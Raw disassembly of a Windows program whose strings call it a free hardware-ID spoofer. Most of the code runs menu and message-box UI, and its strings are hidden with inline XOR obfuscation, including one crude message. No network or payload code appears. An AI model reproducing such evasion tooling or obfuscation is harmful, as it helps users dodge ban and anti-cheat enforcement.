lea rdx, [0x140259fa8]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140059847
mov dword [0x141718ff0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x660]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 7
lea rdx, [0x140259fac]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140059882
mov dword [0x141718ff0], 7
call fcn.1400215c0
call fcn.140025c40
movss xmm2, dword [0x14025d8d4]
lea rcx, [rbp + 0x668]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movaps xmm2, xmm14
lea rcx, [rbp + 0x670]
movaps xmm1, xmm14
call fcn.1400105e0
mov r8, rax
lea rdx, [rbp + 0x1350]
xor eax, eax
movabs r14, 0x390bddb1307ce28
mov byte [rbp], al
movabs rbx, 0x345d3d328cb40b7f
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d5153e1c66431
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1350], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1358], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1360], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1350]
cmp dword [0x141718ff0], 4
mov qword [rbp + 0x1368], rax
xorps xmm0, xmmword [rbp + 0x1360]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1350], xmm0
call fcn.140048cf0
test al, al
je 0x14005996a
mov dword [0x141718ff0], 4
movss xmm7, dword [0x14025da2c]
movaps xmm0, xmm14
movaps xmm1, xmm7
call fcn.140025740
movaps xmm1, xmm7
movaps xmm0, xmm14
call fcn.140025740
movaps xmm2, xmm14
lea rcx, [rbp + 0x678]
movaps xmm1, xmm14
call fcn.1400105e0
mov r8, rax
lea rdx, [rbp + 0x1370]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d32c5f24e2a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1370], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1378], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1380], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1370]
cmp dword [0x141718ff0], 8
mov qword [rbp + 0x1388], rax
xorps xmm0, xmmword [rbp + 0x1380]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1370], xmm0
call fcn.140048cf0
test al, al
je 0x140059a42
mov r9d, Ordinal_50
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movaps xmm1, xmm7
movaps xmm0, xmm14
call fcn.140025740
movaps xmm1, xmm7
movaps xmm0, xmm14
call fcn.140025740
movaps xmm2, xmm14
lea rcx, [rbp + 0x680]
movaps xmm1, xmm14
call fcn.1400105e0
mov r8, rax
lea rdx, [rbp + 0x1390]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cfd4d3a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1390], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1398], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13a0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1390]
cmp dword [0x141718ff0], 9
mov qword [rbp + 0x13a8], rax
xorps xmm0, xmmword [rbp + 0x13a0]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1390], xmm0
call fcn.140048cf0
test al, al
je 0x140059b12
mov r9d, Ordinal_50
lea r8, str.NO_EFI_DUMBFUCK_
lea rdx, str.THIS_A_FREE_SPOOFER_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0x13b0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x688]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d960]
addss xmm1, dword [0x14025d9e0]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x690]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d900]
addss xmm1, dword [0x14025d928]
call fcn.1400105e0
movss xmm0, dword [0x14025d87c]
mov r9d, edi
movss xmm7, dword [0x14025d860]
mov r8, rbx
movss dword [rsp + 0x30], xmm7
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x698]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x14674e47f8d57f2c
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13c0], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13c8], rcx
lea rcx, [rbp + 0x13e0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13d0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x13c0]
mov qword [rbp + 0x13d8], rax
xorps xmm0, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x13c0], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x6a0]
movss xmm1, dword [0x14025d948]
mov ebx, eax
call fcn.1400105e0
xor esi, esi
lea rcx, [rbp + 0x13c0]
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rdx, qword [0x141718fd8]
mov r9, rax
movaps xmm2, xmm6
mov rcx, rdi
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x403e5846e9d0652a
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307aa4d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13f8], rcx
lea rcx, [rbp + 0x1410]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1400], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1408], rax
movdqa xmm0, xmmword [rbp + 0x1400]
xorps xmm0, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x13f0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x6a8]
movss xmm1, dword [0x14025d96c]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x13f0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
mov r14, qword [rbp + 0x160]
mov rcx, r14
call fcn.140021520
movss xmm2, dword [0x14025d910]
lea rcx, [rbp + 0x6b0]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0x1420]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov ebx, eax
lea rcx, [rbp + 0x1430]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm3, dword [0x14025d8ec]
lea rcx, [0x14025a010]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140044b30
call fcn.1400215c0
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
mov edx, 0xff
movabs rax, 0x502d6812f8c76a33
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r9d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0x390bdfb2962ba49
mov qword [rbp + 0x1440], rcx
mov r8d, edx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1448], rcx
lea rcx, [rbp + 0x1460]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1450], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1458], rax
movdqa xmm0, xmmword [rbp + 0x1450]
xorps xmm0, xmmword [rbp + 0x1440]
movdqa xmmword [rbp + 0x1440], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x6b8]
movss xmm1, dword [0x14025d948]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1440]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x46f1201bd9b3b4e
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307fa1a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1470], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1478], rcx
lea rcx, [rbp + 0x1490]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1480], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1488], rax
movdqa xmm0, xmmword [rbp + 0x1480]
xorps xmm0, xmmword [rbp + 0x1470]
movdqa xmmword [rbp + 0x1470], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x6c0]
movss xmm1, dword [0x14025d984]
mov ebx, eax
call fcn.1400105e0
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1470]
mov qword [rsp + 0x30], rsi
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm6
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
mov rcx, r14
call fcn.140021520
movss xmm2, dword [0x14025d920]
lea rcx, [rbp + 0x6c8]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0x14a0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov ebx, eax
lea rcx, [rbp + 0x14b0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm3, dword [0x14025d8ec]
lea rcx, [0x14025a010]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140044b30
call fcn.1400215c0
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x410e1d41e9d96a38
mov qword [rbp + 0x10], rax
movabs rax, 0x39f4d8af6168be58
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc62b99dcfef73731
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e08], rcx
movabs rcx, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e10], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e18], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e20], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e28], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x14c0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e38], rax
vmovdqu ymm0, ymmword [rbp + 0x1e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e00]
vmovdqa ymmword [rbp + 0x1e00], ymm1
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d938]
lea rcx, [rbp + 0x6d0]
movss xmm1, dword [0x14025d948]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1e00]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x51305c75acd8673e
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ce5b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14d0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14d8], rcx
lea rcx, [rbp + 0x14f0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14e0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14e8], rax
movdqa xmm0, xmmword [rbp + 0x14e0]
xorps xmm0, xmmword [rbp + 0x14d0]
movdqa xmmword [rbp + 0x14d0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d938]
lea rcx, [rbp + 0x6d8]
movss xmm1, dword [0x14025d9a0]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x14d0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
mov rcx, r14
call fcn.140021520
movss xmm2, dword [0x14025d93c]
lea rcx, [rbp + 0x6e0]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0x1500]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov ebx, eax
lea rcx, [rbp + 0x1510]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm3, dword [0x14025d8ec]
lea rcx, [0x14025a010]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140044b30
call fcn.1400215c0
call fcn.140025c40
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0x1520]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x6e8]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d9e0]
addss xmm1, dword [0x14025d9e0]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x6f0]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d980]
addss xmm1, dword [0x14025d928]
call fcn.1400105e0
movss xmm6, dword [0x14025d87c]
xor r14d, r14d
movss dword [rsp + 0x30], xmm7
mov r9d, edi
mov dword [rsp + 0x28], r14d
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm6
mov rcx, rsi
call fcn.140032b70
movss xmm2, dword [0x14025d98c]
lea rcx, [rbp + 0x6f8]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
xor eax, eax
movabs rcx, 0x1a9edca541b99752
mov byte [rbp], al
movabs rdi, 0x345d3d328cb40b7f
mov byte [rbp], al
movabs rbx, 0x390bddb1307ce28
mov byte [rbp], al
movabs rax, 0x14294f53f8c76e2d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e40], rax
movabs rax, 0x71f5c9bd52278d78
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e48], rax
movabs rax, 0xc62bffb391876431
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e50], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e58], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e60], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e68], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e70], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e78], rax
lea rdx, [0x141715cb3]
vmovdqu ymm0, ymmword [rbp + 0x1e60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e40]
vmovdqa ymmword [rbp + 0x1e40], ymm1
lea rcx, [rbp + 0x1e40]
vzeroupper
call fcn.140044e10
call fcn.140025c40
movss xmm2, dword [0x14025d9cc]
lea rcx, [rbp + 0x700]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movss xmm2, dword [0x14025d8dc]
lea rcx, [rbp + 0x708]
movss xmm1, dword [0x14025d974]
call fcn.1400105e0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5d315c47f8c66229
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ab52
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1530], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1538], rcx
lea rcx, [rbp + 0x1530]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1540], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1530]
mov qword [rbp + 0x1548], rax
xorps xmm0, xmmword [rbp + 0x1540]
movdqa xmmword [rbp + 0x1530], xmm0
call fcn.140043e50
test al, al
je 0x14005a677
mov dword [0x141718ff0], 0xf
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0x1550]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x710]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d960]
addss xmm1, dword [0x14025da00]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x718]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d900]
addss xmm1, dword [0x14025d9e4]
call fcn.1400105e0
movss dword [rsp + 0x30], xmm7
mov r9d, edi
mov dword [rsp + 0x28], r14d
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm6
mov rcx, rsi
call fcn.140032b70
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
movabs rsi, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cb40b3b
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1560], rcx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1568], rcx
lea rcx, [rbp + 0x1580]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1570], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1560]
mov qword [rbp + 0x1578], rax
xorps xmm0, xmmword [rbp + 0x1570]
movdqa xmmword [rbp + 0x1560], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8f4]
lea rcx, [rbp + 0x720]
movss xmm1, dword [0x14025d9e4]
mov ebx, eax
call fcn.1400105e0
movss xmm6, dword [0x14025d8c0]
lea rcx, [rbp + 0x1560]
mov rdx, qword [0x141718fe0]
mov r9, rax
mov qword [rsp + 0x40], r14
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
mov edx, 0xf0
mov dword [rsp + 0x20], 0xff
movabs rax, 0x142f5854e3db7b2c
mov r9d, edx
mov qword [rbp + 0x10], rax
mov r8d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0x390bddb6060a164
mov qword [rbp + 0x1590], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1598], rcx
lea rcx, [rbp + 0x15b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15a0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1590]
mov qword [rbp + 0x15a8], rax
xorps xmm0, xmmword [rbp + 0x15a0]
movdqa xmmword [rbp + 0x1590], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8f4]
lea rcx, [rbp + 0x728]
movss xmm1, dword [0x14025d9ec]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0x1590]
mov qword [rsp + 0x40], r14
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0x15c0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x730]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d9e0]
addss xmm1, dword [0x14025da00]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x738]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d980]
addss xmm1, dword [0x14025d9e4]
call fcn.1400105e0
movss xmm0, dword [0x14025d87c]
mov r9d, edi
movss dword [rsp + 0x30], xmm7
mov r8, rbx
mov dword [rsp + 0x28], r14d
mov rdx, rax
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
movss xmm2, dword [0x14025d98c]
lea rcx, [rbp + 0x740]
movss xmm1, dword [0x14025d9e8]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
lea rdx, [0x141715cb0]
mov byte [rbp], al
lea rcx, [rbp + 0x15d0]
movabs rax, 0x5b324d61acfd4d3a
movabs rbx, 0x390bddb7469a74e
mov qword [rbp + 0x10], rax
movabs rdi, 0x345d3d328cb40b7f
mov rax, qword [rbp + 0x10]
movabs r14, 0x390bddb1307ce28
mov qword [rbp + 0x15d0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15d8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x15d0]
mov qword [rbp + 0x15e8], rax
xorps xmm0, xmmword [rbp + 0x15e0]
movdqa xmmword [rbp + 0x15d0], xmm0
call fcn.140044e10
xor eax, eax
lea rdx, [0x141715d19]
mov byte [rbp], al
lea rcx, [rbp + 0x15f0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b324d61acd76a32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15f8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1600], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x15f0]
mov qword [rbp + 0x1608], rax
xorps xmm0, xmmword [rbp + 0x1600]
movdqa xmmword [rbp + 0x15f0], xmm0
call fcn.140044e10
call fcn.140025c40
xor esi, esi
jmp 0x14005ab1f
movss xmm6, dword [0x14025d8c0]
movabs rdi, 0x345d3d328cb40b7f
movabs r14, 0x390bddb1307ce28
cmp dword [0x141718ff0], 0xc
jne 0x14007abc4
movss xmm2, dword [0x14025d948]
lea rcx, [rbp + 0x748]
movss xmm1, dword [0x14025d99c]
addss xmm12, dword [0x14025d844]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
mov edx, 0xff
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0x1610]
mov r8d, edx
call fcn.14003a610
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1620]
mov edx, 0x64
mov rbx, rax
call fcn.14003a610
movss xmm2, dword [0x14025d88c]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], esi
mov byte [rbp], al
movaps xmm1, xmm6
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x343a535be8d56433
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1630], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1638], rcx
lea rcx, [rbp + 0x1630]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1640], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1630]
mov qword [rbp + 0x1648], rax
xorps xmm0, xmmword [rbp + 0x1640]
movdqa xmmword [rbp + 0x1630], xmm0
movss xmm0, dword [0x14025d884]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14025d898]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14004c4e0
movss xmm2, dword [0x14025d964]
lea rcx, [rbp + 0x750]
movss xmm1, dword [0x14025d97c]
call fcn.1400105e0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1650]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14003a610
movabs rbx, 0x1a9edca541b99752
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x53335454e3db7b2c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e80], rax
movabs rax, 0x67f5c9a972739d08
mov qword [rbp + 0x10], rax
